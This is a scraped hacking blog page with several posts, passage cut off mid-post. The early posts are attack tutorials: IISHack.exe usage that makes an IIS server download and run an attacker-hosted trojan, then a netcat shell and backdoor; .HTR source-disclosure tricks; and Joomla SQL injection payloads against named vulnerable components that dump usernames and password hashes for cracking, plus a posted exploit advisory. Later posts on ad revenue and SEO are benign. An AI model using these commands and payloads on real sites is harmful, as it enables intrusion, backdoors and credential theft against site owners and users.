<b>Hacking Tool: IISHack.exe</b></center>
<div class="highlight">
iishack.exe </div>
overflows a buffer used by IIS http daemon, allowing for arbitrary code to be executed.<br />
<div class="command wobble-horizontal">
iishack www.yourtarget.com 80 www.yourserver.com/thetrojan.exe </div>
<br />
<br />
<div class="highlight">
www.yourtarget.com </div>
is the IIS server you're hacking, <br />
<div class="highlight">
80 </div>
is the port its listening on, <br />
<div class="highlight">
www.yourserver.com </div>
is some webserver with your trojan or custom script (your own, or another), and <br />
<div class="highlight">
/thetrojan.exe </div>
is the path to that script.<br />
"<br />
<div class="system pop">
IIS Hack </div>
" is a buffer overflow vulnerability exposed by the way IIS handles requests with <br />
<div class="highlight">
.HTR </div>
extensions. A hacker sends a long URL that ends with "<br />
<div class="system pop">
.HTR </div>
". IIS interprets it as a file type of HTR and invokes the <br />
<div class="system pop">
ISM.DLL </div>
to handle the request. Since ISM.DLL is vulnerable to a buffer overflow, a carefully crafted string can be executed in the security context of IIS, which is privileged. For example, it is relatively simple to include in the exploit code a sequence of commands that will open a TCP/IP connection, download an executable and then execute it. This way, any malicious code can be executed.<br />
<br />
A sample exploit can be constructed as shown below:<br />
<br />
To hack the target site and attacker's system running a web server can use <br />
<div class="highlight">
iishack.exe </div>
and <br />
<div class="highlight">
ncx.exe </div>
.<br />
<br />
To begin with, the <br />
<div class="system pop">
ncx.exe </div>
is configured to run from the root directory. IIShack.exe is then run against the victim site.<br />
<div class="command wobble-horizontal">
c:\>iishack.exe  80 /ncx.exe</div>
<br />
<br />
The attacker can then use netcat to evoke the command shell. <br />
<br />
<div class="command wobble-horizontal">
c:\>nc  80</div>
<br />
<br />
He can proceed to upload and execute any code of his choice and maintain a backdoor on the target site.<br />
<br />
<h3>
IPP Buffer Overflow Countermeasures</h3>
<br />
<ol>
<li>Install latest service pack from Microsoft.</li>
<li>Remove IPP printing from IIS Server</li>
<li>Install firewall and remove unused extensions</li>
<li>Implement aggressive network egress filtering</li>
<li>Use IISLockdown and URLScan utilities</li>
<li>Regularly scan your network for vulnerable servers</li>
</ol>
Without any further explanation, the first countermeasure is obviously to install the latest service packs and hotfixes.<br />
As with many <br />
<div class="highlight">
IIS vulnerabilities</div>
, the IPP exploit takes advantage of a bug in an ISAPI DLL that ships with IIS 5 and is configured by default to handle requests for certain file types. This particular ISAPI filter resides in <br />
<div class="system pop">
C: \WINNT\System32\msw3prt.dll</div>
and provides <br />
<div class="highlight">
Windows 2000 </div>
with support for the IPP. If this functionality is not required on the Web server, the application mapping for this DLL to .printer files can be removed (and optionally deleting the DLL itself) in order to prevent the buffer overflow from being exploited. This is possible because the DLL will not be loaded into the IIS process when it starts up. In fact, most security issues are centered on the ISAPI DLL mappings, making this one of the most important countermeasure to be adopted when securing IIS.<br />
<br />
Another standard countermeasure that can be adopted here is to use a firewall and remove any extensions that are not required. Implementing aggressive network egress can help to a certain degree. With IIS, using <br />
<div class="highlight">
IISLockdown </div>
and <br />
<div class="highlight">
URLScan </div>
- (free utilities from Microsoft) can ensure more protection and minimize damage in case the web server is affected.<br />
Microsoft has also released a patch for the buffer overflow, but removing the <br />
<div class="system pop">
ISAPI DLL </div>
is a more proactive solution in case there are additional vulnerabilities that are yet to be found with the code.<br />
<br />
<h3>
ISAPI DLL Source disclosures</h3>
<br />
Microsoft IIS 4.0 and 5.0 can be made to disclose fragments of source code which should otherwise be in accessible. This is done by appending "<br />
<div class="highlight">
+.htr </div>
" to a request for a known .asp (or .asa, .ini, etc) file. appending this string causes the request to be handled by ISM.DLL, which then strips the '+.htr' string and may disclose part or all of the source of the .asp file specified in the request.<br />
IIS supports several file types that require server-side processing. When a web site visitor requests a file of one of these types, an appropriate filter DLL processes it. Vulnerability exists in ISM.DLL, the filter DLL that processes .HTR files. HTR files enable remote administration of user passwords. HTR files are scripts that allow Windows NT password services to be provided via IIS web servers. Windows NT users can use .HTR scripts to change their own passwords, and administrators can use them to perform a wide array of password administration functions. HTR is a first-generation advanced scripting technology that is included in IIS 3.0, and still supported by later versions of IIS for backwards compatibility. However, HTR was never widely adopted, and was superceded by Active Server Pages (ASP) technology introduced in IIS 4.0.<br />
<br />
<h3 style="border: none;">
Attack Methods</h3>
<br />
<h3>
Exploit / Attack Methodology</h3>
By making a specially formed request to IIS, with the name of the file and then appending around <br />
<div class="highlight">
230 + " %20 " </div>
(these represents spaces) and then appending "<br />
<div class="highlight">
.htr </div>
" this tricks IIS into thinking that the client is requesting a " .htr " file . The .htr file extension is mapped to the ISM.DLL ISAPI Application and IIS redirects all requests for .htr resources to this DLL.<br />
ISM.DLL is then passed the name of the file to open and execute but before doing this ISM.DLL truncates the buffer sent to it chopping off the .htr and a few spaces and ends up opening the file whose source is sought. The contents are then returned. This attack can only be launched once though, unless the web service started and stopped. It will only work when ISM.DLL first loaded into memory.<br />
"Undelimited .HTR Request" vulnerability: The first vulnerability is a denial of service vulnerability. All .HTR files accept certain parameters that are expected to be delimited in a particular way. This vulnerability exists because the search routine for the delimiter isn't properly bounded. Thus, if a malicious user provided a request without the expected delimiter, the ISAPI filter that processes it would search forever for the delimiter and never find it.<br />
If a malicious user submitted a password change request that lacked an expected delimiter, ISM.DLL, the ISAPI extension that processes .HTR files, would search endlessly for it. This would prevent the server from servicing any more password change requests. In addition, the search would consume CPU time, so the overall response of the server might be slowed.<br />
The second threat would be more difficult to exploit. A carefully-constructed file request could cause arbitrary code to execute on the server via a classic buffer overrun technique. Neither scenario could occur accidentally. This vulnerability does not involve the functionality of the password administration features of .HTR files.<br />
".HTR File Fragment Reading" vulnerability: The ".HTR File Fragment Reading" vulnerability could allow fragments of certain types of files to be read by providing a malformed request that would cause the. HTR processing to be applied to them. This vulnerability could allow a malicious user to read certain types of files under some very restrictive circumstances by levying a bogus .HTR request. The ISAPI filter will attempt to interpret the requested file as an .HTR file, and this would have the effect of removing virtually everything but text from a selected file. That is, it would have the effect of stripping out the very information that is most likely to contain sensitive information in .asp and other server-side files.<br />
The <br />
<div class="system pop">
.htr vulnerability </div>
will allow data to be added, deleted or changed on the server, or allow any administrative control on the server to be usurped. Although .HTR files are used to allow web-based password administration, this vulnerability does not involve any weakness in password handling.<br />
<div class="highlight">
Absent Directory Browser Argument vulnerability</div>
:<br />
Among the default HTR scripts provided in IIS 3.0 (and preserved on upgrade to IIS 4.0 and IIS 5.0) were several that allowed web site administrators to view directories on the server. One of these scripts, if called without an expected argument, will enter an infinite loop that can consume all of the system's CPU availability, thereby preventing the server from responding to requests for service.</div>

Hacking Hacking Tutorials IIS Server Tutorials Vulnerability Windows Server Hacking IIS

Hacking Tool: IISHack.exe iishack.exe overflows a buffer used by IIS http daemon, allowing for arbitrary code to be executed. iisha...

Joomla SQL Injection

11/18/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicAAa0HONNRv5Te0qHhRmSuQGnG9SAShrUX3eEOHb84FPR_wqvv-MrPJUrEHU5e5-XQv2ONahPu6qv3N-TcCdwIPF1uWxud2jbr5cGtJf68YfwkwMDfZtBPt5ctTUIojJlndJBWWCYtSkG/s1600/joomla+sqli.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Hack Joomla Websites" border="0" height="288" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicAAa0HONNRv5Te0qHhRmSuQGnG9SAShrUX3eEOHb84FPR_wqvv-MrPJUrEHU5e5-XQv2ONahPu6qv3N-TcCdwIPF1uWxud2jbr5cGtJf68YfwkwMDfZtBPt5ctTUIojJlndJBWWCYtSkG/s320/joomla+sqli.gif" title="Joomla SQL Injection" width="320" /></a></div>
The probably most common case for <br />
<div class="highlight">
hacked Joomla websites </div>
is that a SQL injection vulnerability was exploited. A typical URL which is affected by this type of vulnerability looks like this:<br />
<br />
<div class="program glow">
<pre><code class="prettyprint">index.php?option=com_blabla&category=5&Item=2</code></pre>
</div>
<br />
Typically the following parameters are vulnerable:<br />
<div class="content  shadow-radial">
- cat, category, kat, categories, kats, cats<br />
- id, userid, katid, catid<br />
- sometimes also Item, entry, page </div>
<br />
<br />
You can find out if a parameter is vulnerable when you change its value from e.g. <br />
<div class="system pop">
category=5 to category='</div>
.<br />
<br />
Press enter and look for <br />
<div class="system glow">
MySQL errors </div>
in the website. If you find one, you might have discovered a SQL inkjection vulnerability.<br />
<br />
In order to give you a better understanding and feeling of how vulnerable URLs might look like, I just show you some URLs which are known to be vulnerable (I discovered them):<br />
<br />
<div class="content shadow-radial" style="display: block;">
<div class="highlight">
URL: </div>
index.php?option=com_jp_jobs&view=detail&id=1<br />
<div class="highlight">
Vulnerable parameter: </div>
id</div>
<br />
<div class="content shadow-radial" style="display: block;">
<div class="highlight">
URL: </div>
index.php?option=com_mv_restaurantmenumanager&task=menu_display\Venue=XX&mid=XX&Itemid=XX<br />
<div class="highlight">
Vulnerable parameter: </div>
mid</div>
<br />
<div class="content shadow-radial" style="display: block;">
<div class="highlight">
URL: </div>
index.php?option=com_qpersonel&task=qpListele&katid=2<br />
<div class="highlight">
Vulnerable parameter: </div>
katid</div>
<br />
<div class="content shadow-radial" style="display: block;">
<div class="highlight">
URL: </div>
index.php?com_pandafminigames&Itemid=&task=myscores&userid=2<br />
<div class="highlight">
Vulnerable parameter: </div>
userid</div>
<br />
<div class="content shadow-radial" style="display: block;">
<div class="highlight">
URL: </div>
index.php?option=com_joltcard&Itemid=21&task=view&cardID=6<br />
<div class="highlight">
Vulnerable parameter: </div>
cardID</div>
<br />
<div class="content shadow-radial" style="display: block;">
<div class="highlight">
URL: </div>
index.php?com_bfquiztrial&view=bfquiztrial&catid=1&Itemid=62<br />
<div class="highlight">
Vulnerable parameter: </div>
catid</div>
<br />
<div class="content shadow-radial" style="display: block;">
<div class="highlight">
URL: </div>
index.php?com_golfcourseguide&view=golfcourses&cid=1&id=79<br />
<div class="highlight">
Vulnerable parameter: </div>
id</div>
<br />
<div class="content shadow-radial" style="display: block;">
<div class="highlight">
URL: </div>
index.php?option=com_nkc&view=insc&lang=en&gp=10<br />
<div class="highlight">
Vulnerable parameter: </div>
gp</div>
Notice how many parameters look familiar to you? Yes, I mentioned them earlier as well-known parameters which are affected on regular basis :)<br />
<br />
Since every Joomla database contains the same structure (like the same tables etc.), we know enough to inject a SQL statement:<br />
<br />
<h3>
Example #1:</h3>
<div class="content shadow-radial" style="display: block;">
index.php?option=com_qpersonel&task=qpListele&katid=XX+AND+1=2+UNION+\SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,concat(\username, password)--</div>
<br />
<h3>
Example #2:</h3>
<div class="content shadow-radial" style="display: block;">
index.php?option=com_pandafminigames&Itemid=&task=myscores&userid=XX+\AND+1=2+UNION+SELECT+concat(password),2,concat(password),4,5,6,7,\8,9,10,11,12--</div>
<br />
<h3>
Example #3:</h3>
<div class="content shadow-radial" style="display: block;">
index.php?option=com_jp_jobs&view=detail&id=1+AND+1=2+UNION+SELECT+\group_concat(0x503077337220743020743368206330777321,name,username,\password,email,usertype,0x503077337220743020743368206330777321)--</div>
<br />
The selected information will be shown within the website.<br />
Select a username and password from the table and try to crack the MD5 hash with the help of raindbow tables.<br />
<br />
SQL injections in Joomla give us so much freedom as we can get. You can select everything you want from the database, and if you are lucky, there are also other tables in the databases which do not belong to Joomla but still contain some very interesting information.</div>

Hacking Hacking Tutorials Joomla SQL Injection Tutorials Joomla SQL Injection

The probably most common case for hacked Joomla websites is that a SQL injection vulnerability was exploited. A typical URL which is a...

Joomla Component Vulnerability

11/15/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmM9xSP-E_97i_PPOh_6dYJ6cXuYv-kVIVJg60Fawvcda0cSqRtquyi87-sByBm1z124kMzXWuAgoTIeVteLplzcDDZn8gt2jiaFzTO4AAf4H2MbCEm3Z3LFh5Kb3Vaeb_Otqg6t9Gje6s/s1600/joomla+exploit.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Joomla (com_question) SQL Injection Vulnerability" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmM9xSP-E_97i_PPOh_6dYJ6cXuYv-kVIVJg60Fawvcda0cSqRtquyi87-sByBm1z124kMzXWuAgoTIeVteLplzcDDZn8gt2jiaFzTO4AAf4H2MbCEm3Z3LFh5Kb3Vaeb_Otqg6t9Gje6s/s1600/joomla+exploit.png" title="Joomla (com_question) SQL Injection Vulnerability" /></a></div>
<br />
<div class="post-body entry-content" style="line-height: 1.4; position: relative;">
<br />
<br />
<span class="Apple-style-span" style="font-family: monospace; font-size: 14px;">###################################################<br />
# |Title : Joomla (com_question) SQL Injection Vulnerability<br />
# |Vendor : <a href="http://www.alex-ensdorf.de/">http://www.alex-ensdorf.de/</a><br />
# |Version : Joomla 1.5<br />
# |Date : 15/5/2011<br />
# |Author : NeX HaCkEr<br />
# |Contact : <a href="mailto:Error_log@hotmail.com">Error_log@hotmail.com</a><br />
##################################################<br />
# | Exploit :<br />
# | <a href="http://localhost/Joomla/index.php/?option=com_question&catID=[SQL]">http://localhost/Joomla/index.php/?option=com_question&catID=[SQL]</a><br />
# | <a href="http://localhost/Joomla/index.php/?option=com_question&catID=21">http://localhost/Joomla/index.php/?option=com_question&catID=21</a>' and+1=0 union all<br />
# | select 1,2,3,4,5,6,concat(username,0x3a,password),8,9 from jos_users--%20<br />
##################################################<br />
# | Demo:<br />
# | <a href="http://site.com/index.php/?option=com_question&catID=21">http://site.com/index.php/?option=com_question&catID=21</a>' and+1=0 union all select # | 1,2,3,4,5,6,concat(username,0x3a,password),8,9 from jos_users--%20<br />
##################################################<br />
# | Greetz :<br />
# | Dr.KAsBeR & DaShEr & MaFiA & WeeD<br />
##################################################<br />
</span><br />
<br /></div>
</div>

Hacking Joomla SQL Injection Vulnerability Joomla Component Vulnerability

################################################### # |Title : Joomla (com_question) SQL Injection Vulnerability # |Vendor : http:/...

Maximize Ad Revenue on a Website

11/12/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<div class="separator">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkBMIz-QOnOG7EiagAKe6LRmPk8vL6CJACiGcfwtHc6wFE7eyYIE2gB2GDuz5JTI-cwiYfZ9Cda5bG6vZqpPWZ2O8WqhFt9S11qX2r81q7NfWncDu2l7SkUOOmy7SHMOMK-LobB_2AFTs/" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkBMIz-QOnOG7EiagAKe6LRmPk8vL6CJACiGcfwtHc6wFE7eyYIE2gB2GDuz5JTI-cwiYfZ9Cda5bG6vZqpPWZ2O8WqhFt9S11qX2r81q7NfWncDu2l7SkUOOmy7SHMOMK-LobB_2AFTs/" /></a></div>
<br />
<br />
<div class="post-body entry-content" style="line-height: 1.4; position: relative;">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6051112960226967931">Have a website ? Confused on how to make dough through it ? Read on ō<br />
Contextual advertisers include Yahoo Publisher Network, </span></span><br />
<div class="highlight">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6051112960226967931">Google </span></span></div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6051112960226967931">, and <div class="highlight">
Adbrite </div>
. These ads usually display a link followed by some description text or the url of the link.Placement,theme and various factors contribute to the overall earning potential of a website.Here are some guidelines to follow whilst you just post through it.<br />
</span></span><br />
<ul style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;">
<li style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;"><span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6051112960226967931">  Make sure you place the ad correctly. Ads that people can't see won't be clicked on, so make sure the ads are located in a prime spot that will generate interest. The best spots for an ad is on the top fold of the webpage, meaning the viewer can see the ad without having to scroll. But not on the very top, most people don't look there</span></span></li>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6051112960226967931">
<li style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  Consider linking text. This helps to make the ad stand out more and gives a better chance for the viewer to actually read the ads. Secondly, since the ads are embedded within the text, it's harder for the viewer to miss. Ads located on the sides are oftentimes looked over, which is exactly what you don't want visitors to do.</li>
<li style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  Put small, relevant images next to your ads. This has been show to increase ad revenue because this attracts attention to the ads, and people are tricked into thinking that the picture is content related to the ad. Google <a href="http://rahlabs.blogspot.com/search/label/Adsense" style="color: #3778cd; text-decoration: none;" target="_blank" title="More adsense tips and tricks">Adsense</a>allows this method (somewhat, however, some images placed next to ads can violate Google TOS, ask Google before adding images next to ads), however Yahoo Publisher Network does not allow it. Read the TOS on certain publishers to get more info on whether this is allowed or not.</li>
<li style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  Make the ads relevant. The best part of contextual advertising is that the ads are relevant to your site (Adbrite does not have this feature, they just put up generic network ads). Google and Yahoo both target their ads decently well, but <a href="http://rahlabs.blogspot.com/search/label/Adsense" style="color: #3778cd; text-decoration: none;" target="_blank" title="More adsense tips and tricks">Google Adsense</a> definitely has the best ads that are relevant to your site. To increase ad relativity, make sure the keywords that you want ads for are repeated throughout. For example, if you wanted to display ads related to "<i>making money</i>" you would repeat the phrase making money many times on my page. If you want to be making money, and making money is what you want, then make sure that you are making money by implementing these ads well. It's also best to spread your keywords throughout the page instead of concentrated in one area like above.</li>
<li style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  Keep to one theme. This kind of ties in with making your ads relevent, but make sure your website concentrates one one certain type of category. For example, <a href="http://rahlabs.blogspot.com/search/label/Gaming" style="color: #3778cd; text-decoration: none;" target="_blank" title="R U a gamer ? Go to gaming section">GameSpot</a>.com is a site that focuses on games, while IGN.com has sections over games, movies, comics, cars, etc. GameSpot, if they used Google Adsense, would be serving the most relevent ads - gaming ads. While IGN, if they used  Google Adsense, would be serving ads about all sorts of things because they have so many sectors. If a gamer goes on IGN and sees an ad about Japanese Movies, they probably won't be enticed to click. Of course, these statements are just theoretically speaking, the main point is that if your website is focused on one topic, the ads will be better served to your target audience. If you have a website that covers many things, it will be harder to generate ads that interest your users.</li>
<li style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  Do your research. Each publisher allows you to create separate channels for your ads so you can track how each individual ad unit is doing. Look over your ads and see which ones are performing the best, and then make a judgment as to which ads you should keep and which ones you should alter or get rid of. Constantly looking over your statistics is a key factor to increasing your ad revenue.</li>
</span></span></ul>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6051112960226967931">Happy Money making webmasters (and webmaster to beũ   :)</span></span></div>
</div>

Ads Adsense Blogging SEO Maximize Ad Revenue on a Website

Have a website ? Confused on how to make dough through it ? Read on ō Contextual advertisers include Yahoo Publisher Network, Goo...

10 SEO tips to Optimize your website

11/09/2011 rahlabs 6

<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<div class="separator">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_w9ZlJu0dCvOHTS8n5_0cpuEWGRATFUIsaHhotME-poIRnMPk_rVQDQWgGhany6xGPLYyfz0laMFHgbmP0agh3lpaeCZFlge2hynSuxxOxxtY7BT0juCDaW1e760hp0gQIhp3FZsO6Js/s1600/SEO-tips.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="213" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_w9ZlJu0dCvOHTS8n5_0cpuEWGRATFUIsaHhotME-poIRnMPk_rVQDQWgGhany6xGPLYyfz0laMFHgbmP0agh3lpaeCZFlge2hynSuxxOxxtY7BT0juCDaW1e760hp0gQIhp3FZsO6Js/s1600/SEO-tips.jpg" width="320" /></a></div>
Making a website is easy,but making it survive through the Wild Wild Web is quite a formidable task. I have seen many <img align="right" alt="10 Tips to Optimize your website" border="0" height="104" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLpdhLG3F86PUc-R82lRWiih1PcYStp9H1xBN55h2paoE2u7iDkQeudkPD5UqlmnA6AZo-GB7TH1lFabH_NjGQHNtmyvBmYw3Q2S73ODQLQKFvnOOMQT-AVnmfxz-5EkGcGb4CTP84WI4/?imgmax=800" style="background-color: transparent; border: 0px solid transparent; display: inline; margin-left: 0px; margin-right: 0px; padding: 8px;" title="10 Tips to Optimize your website" width="135" />potential websites crumble and vanish through the web in a short span of time,and today I will be sharing my knowledge with you. I have followed the 10 simple rules which have allowed me to get the love of my readers in such a short time and have made ProHack more than a name in the web.These tips will allow you to optimize your website's SEO and guarantee increase in web traffic. These are comprised with the most common mistakes which lead to a website going kaput (oh wait..there are solutions as well :P),and mind it,give it a read and you are good to go with your website.<br />
<h3>
Great Content</h3>
Great websites drive great traffic by delivering the best they have to offer.Generate great content,if not,recycle great <img align="right" alt="great content helps you Stand out and be unique and drives loads of traffic" border="0" height="127" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvOUCuYaIlS-YlhkOOQC7L0yeflQ8xksvx3n4xjeDabn1MbSaja_AHXph5rmiAfx7zbwVNzRTK2xz6Wlq-2CTWe6jC9bId7CjrXvsnTu_b7xbGk9vMRDTSq2vVK9pZIwuQWGBo2XjsNwc/?imgmax=800" style="background-color: transparent; border: 0px solid transparent; display: inline; margin-left: 0px; margin-right: 0px; padding: 8px;" title="great content helps you Stand out and be unique and drives loads of traffic" width="165" />content by permission,and do include links to the original article if you are "<i>borrowing</i>" it or "<i>remixing</i>" it. Also,hunt at article sites like Wikipedia,Wikihow,Ehow and keep your digital ears and eyes open for the latest news. Sometime by  getting the fresh news and delivering it first gets you loads of traffic. Great content helps you to stand out against your competitors.<br />
Here is the bottom line –<br />
<br />
<blockquote>
GREAT READABLE CONTENT IS THE SOUL OF A WEBSITE</blockquote>
<h3>
Directory submissions</h3>
Have a great website ? well you would probably like to get noticed fast,submit your site to <a href="http://www.dmoz.org/" style="color: #3778cd; text-decoration: none;" target="_blank" title="The Open directory project"><b>DMOZ</b></a>,<a href="http://rahlabs.blogspot.in/2011/11/increase-alexa-rank.html" style="color: #3778cd; text-decoration: none;" target="_blank" title="Learn how to improve Alexa ranking and Google Pagerank"><b>Alexa</b></a>,and major<img alt="Submit your site to search engines and directories" border="0" height="150" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglJDRWnJ5MrsVm7qAfAKV_QRHvcqbkOaMasM0WZQcPkPq3cpNifJuxJLUU3V3ZOdSlJ9Vms6YllwCot4utaWp7dAp0zPkQH9WLFaGx8oVpRDqhacbwj4RVH-D8bKxDFxeWlf_bTFrZqcc/?imgmax=800" style="background-color: transparent; border: 0px solid transparent; display: block; float: none; margin-left: auto; margin-right: auto; padding: 8px;" title="Submit your site to search engines and directories" width="150" />Search  engine players like <a href="http://www.google.com/addurl/" style="color: #3778cd; text-decoration: none;" target="_blank" title="Add your site to google"><b>Google</b></a>,<a href="http://search.yahoo.com/info/submit.html" style="color: #3778cd; text-decoration: none;" target="_blank" title="Submit your site to yahoo"><b>Yahoo</b></a> or you can use <br />
<div class="highlight">
automated submission software</div>
 and sites like IBP Arelis and more. Include your site to other famous web directories like <a href="http://www.blogcatalog.com/" rel="nofollow" style="color: #3778cd; text-decoration: none;" target="_blank" title="Blog catalog"><b>Blogcatalog</b></a>.Get noticed,get traffic,make money and get paid.<br />
<h3>
Meta Madness</h3>
Optimize your meta tags and code to reflect what your website does. Meta tags are read by search engines,the grand daddies of the web site mumbo-jumbo so you better be specific. A meta description of 150 words and 12 keywords is <img align="right" alt="Edit meta tags to your  favor" border="0" height="106" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLclkeLZruv0O1roRLHQ2pHBOeHRuOl6qG0FJ7XzKRA7TVE0zNgp1ujHLH7n-aNXHDbf7abTRjR7YQRGFfcb1AjCIImEj1FHMum7H2PZtFkvwJokxyiYs5x7SXNxo27xdYiNi5d_mQmp4/?imgmax=800" style="background-color: transparent; border: 0px solid transparent; display: inline; margin-left: 0px; margin-right: 0px; padding: 8px;" title="Edit meta tags to your  favor" width="118" />ideal for a website. Be creative and be different. Remember there are a lot of copy cats around so try to be unique and make your site stand out.<br />
you can edit the meta description by going to the code and adding the Description,keywords/tags,and author attributes.<br />
<div class="program glow">
<pre><code class="prettyprint"><meta content=' Enter your site Description Here ' name=' description'/>
<meta content=' Enter upto 10-12 Keywords Here ' name='keywords'/>
<meta content=' Enter Author name Here ' name='author'/></code></pre>
</div>
<br />
<br />
and add it to the head section of your code.<br />
<h3>
Make Them Subscribe</h3>
Now you are driving some visitors to your website and are all set to take the big leap. Well make sure you have RSS or <img align="right" alt="The Feed Button - as if you dont know it :P" border="0" height="63" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLY98cCsKiNF92eXoxcY6eQXAlYPVJv61o2mbzCSkzCV55MwWW_8gJsL5GQEwIzlaWjoLKQ-7GC4O8v111Y1XrrNzjiaVXAQq7wr4kgJ9k7uTO6SvlzWdXqu1lQzcTm2dDo9FwrlcMASQ/?imgmax=800" style="background-color: transparent; border: 0px solid transparent; display: inline; margin-left: 0px; margin-right: 0px; padding: 8px;" title="The Feed Button - as if you dont know it :P" width="63" />ATOM feeds enabled to your blog or website. Its the basic requirement for any website to have an automated system to deliver its updates to its loyal readers. You can use feed integrating services like <i>Feedburner</i> or <i>Feedblitz</i> to cater your feeds to your readers.add this code to your head section of your website -<br />
<div class="program glow">
<pre><code class="prettyprint"><link href='<a href="http://www.yourwebsitenamehere.com/rss.xml">http://www.yourwebsitenamehere.com/rss.xml</a>' rel='alternate' title='nameofwebsite' type='application/rss+xml'/></code></pre>
</div>
Add the big Orange button of feed subscription on top of your website,readers tend to click on the infectious orange button for feed subscriptions. Also offer email updates and just never let your website readers go to any other site for the content you offer.<br />
<h3>
Keyword Orientation</h3>
This is one of the most basic techniques,use your website's main keywords in your content and articles. however be   <img align="right" alt="KEYWORDS ARE THE CORNERSTONE OF YOUR CAMPAIGN" border="0" height="69" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj59c2xlcyjs47MMfg6ipnBmvBbLS_z2lwhC2FwiQkEW2Ri-bhpiCJqljsnEuN4bn9-_TI8W5yW7Xfm9Ltu2jxStP16QMu6_J4HbHA9Lyfbjx2PYWpWlWaUeOwdTsy4aW6yvzYyKSTkPtc/?imgmax=800" style="background-color: transparent; border: 0px solid transparent; display: inline; margin-left: 0px; margin-right: 0px; padding: 8px;" title="KEYWORDS ARE THE CORNERSTONE OF YOUR CAMPAIGN" width="116" />vary,dont overdo it,else search  engines will consist your site a spam site. However controlled keyword management enables your website to get good search engine rankings as it relates your site to the services you offer. Include keywords in headlines and generate keyword rich relevant content and you will be set to go. Be specific and creative while choosing keywords. You can use phrases if you are short of words.Here is a simple rule -<br />
<blockquote>
KEYWORDS ARE THE CORNERSTONE OF YOUR CAMPAIGN</blockquote>
<h3>
Link Management</h3>
Its simple as hell and yet most of people get it wrong.<br />
<div class="highlight">
 DONT MAKE YOUR SITE A LINK FARM</div>
 . Always link to related websites but add a<br />
<div class="system pop">
nofollow</div>
 attribute to it so search engines don't read it. Include<br />
<div class="system pop">
inlinks</div>
,that is the links to your own website and articles connected using keywords. Make sure to decorate your keywords by adding a title to your keywords<br />
For Example:<br />
<blockquote>
Wrong Method - Link with no explanation or title<b><i> – </i></b><a href="http://rahlabs.blogspot.com/" style="color: #3778cd; text-decoration: none;" target="_blank"><b><i>RAH Labs</i></b></a><br />
The correct method of displaying Link <i>- </i><a href="http://rahlabs.blogspot.com/" style="color: #3778cd; text-decoration: none;" target="_blank" title="RAH Labs - Your technology navigator"><b><i>RAH Labs</i></b></a></blockquote>
using<br />
<div class="system pop">
inlinks</div>
 have a great plus point,it makes your reader wander in your site and doesn't makes him go away unless your site is short of good content,something which you cant lack in any condition.<br />
Also try to get links from other websites as maximum as possible,be an active member in forums,put the link of your website in your forum signature and let it roll.<br />
<h3>
The Layout</h3>
